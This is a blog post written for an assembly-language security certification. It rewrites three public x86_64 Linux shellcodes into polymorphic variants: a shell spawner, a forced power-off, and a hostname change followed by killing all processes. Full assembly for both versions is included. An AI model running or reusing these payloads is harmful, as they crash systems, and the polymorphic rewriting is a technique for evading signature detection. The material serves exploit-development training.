x64 SLAE — Assignment 6: Polymorphic Shellcode

Adam
4 min readDec 1, 2019

--

For the sixth x64 SLAE assignment, polymorphic shellcode must be created. In this case, polymorphic means that the shellcode will be hand crafted to contain different instructions than it originally contained, without losing any functionality. The three shellcode that will be taken from shell-storm.org are:

  1. Linux/x86_64 — execveat(“/bin//sh”)
  2. Linux/x86_64 — reboot(POWER_OFF)
  3. Linux/x86_64 — sethostname() & killall

Linux/x86_64 — execveat("/bin//sh")

The first example of polymorphic shellcode that will be created is execveat(“/bin//sh”). This piece of code will spawn a basic shell. It’s original size is 29 bytes.

The original shellcode can be found below:

section .text
global _start
_start:
push 0x42
pop rax
inc ah
cqo
push rdx
movabs rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall

In order to change around the bytes without losing functionality, the following modifications were performed:

  • Instead of immediately pushing 0x142 into rax, rax is xor’d out. This zero is then used instead of the register’s original zero holder (rdx) e.g. being a string null terminator and zeroing out other registers
  • Instead of /bin//sh, //bin/sh is used
  • The string object was popped into r8, and a zero into rsi, then these values were exchanged
  • Lastly, rax was properly configured with an add command instead of mov

With the modifications the new size is 36 bytes (a 24.14% increase).

The final shellcode is displayed below:

section .text
global _start
_start:
xor rax, rax
push rax
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop r8
mov rsi, rax
xchg rsi, r8
mov r10, rax
mov rdx, rax
add al, 0x42
inc ah
syscall

After compiling the shellcode executing it within a harness, the following screenshot indicates that the functionality is still working as intended:

Linux/x86_64 — reboot(POWER_OFF)

The second example of polymorphic shellcode that will be created is reboot(POWER_OFF). This piece of code will reboot a user’s computer. It’s original size is 19 bytes.

The original shellcode can be found below:

section .text
global _start
_start:
mov edx, 0x4321fedc
mov esi, 0x28121969
mov edi, 0xfee1dead
mov al, 0xa9
syscall

In order to change around the bytes without losing functionality, the following modifications were performed:

  • 0x28121969 is now moved into edx
  • 0xfee1dead is now moved into esi
  • 0x4321fedc is now moved into edi
  • The esi, edx, and edi registers are then exchanged to move the appropriate values back into their proper places
  • Instead of moving 0xa9 into rax, rax is xor’d with itself and 0xa9 is added to it

With the modifications the new size is 26 bytes (a 36.84% increase).

The final shellcode is displayed below:

section .text
global _start
_start:
mov edx, 0x28121969
mov esi, 0xfee1dead
mov edi, 0x4321fedc
xchg esi, edx
xchg edx, edi
xor rax, rax
add al, 0xa9
syscall

WARNING! Running the shellcode above will in fact reboot your computer. Be careful. Compile and execute it at your own risk.

Linux/x86_64 — sethostname() & killall

The second example of polymorphic shellcode that will be created is sethostname() & killall. This piece of code will change the victim’s hostname and kill all programs. It’s original size is 33 bytes.

The original shellcode can be found below:

section .text
global _start
_start:;-- setHostName("Rooted !"); 22 bytes --;
mov al, 0xaa
mov r8, 'Rooted !'
push r8
mov rdi, rsp
mov sil, 0x8
syscall
;-- kill(-1, SIGKILL); 11 bytes --;
push byte 0x3e
pop rax
push byte 0xff
pop rdi
push byte 0x9
pop rsi
syscall

In order to change around the bytes without losing functionality, the following modifications were performed:

  • 0xaa is moved into sil, and 0x08 is moved into al. Then rax and rsi are exchanged
  • The hostname is changed to pwnd instead of Rooted !
  • For sigkill, 0x3e is moved into rdi, 0xff into rsi, and 0x9 into rax. These values are then manipulated back into their proper places.

With the modifications the new size is 32 bytes (a -3.03% increase). That’s right, the final payload was shorter than the original despite modifications.

The final shellcode is displayed below:

section .text
global _start
_start:;-- setHostName("pwnd"); 17 bytes --;
mov sil, 0xaa
push 'pwnd'
mov rdi, rsp
mov al, 0x08
xchg rax, rsi
syscall
;-- kill(-1, SIGKILL); 15 bytes --;
push byte 0x3e
pop rdi
push byte 0xff
pop rsi
push byte 0x9
pop rax
xchg rsi, rax
xchg rax, rdi
syscall

BE CAREFUL! Running this could damage your system. Running it effectively kills your system. Use it at your own risk. After running it, all user programs are killed and the user falls back into the following prompt:

This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: PA-11200

The source code for this assignment can be found here.

--

--

Adam

Security consultant | Web, telecom, IoT security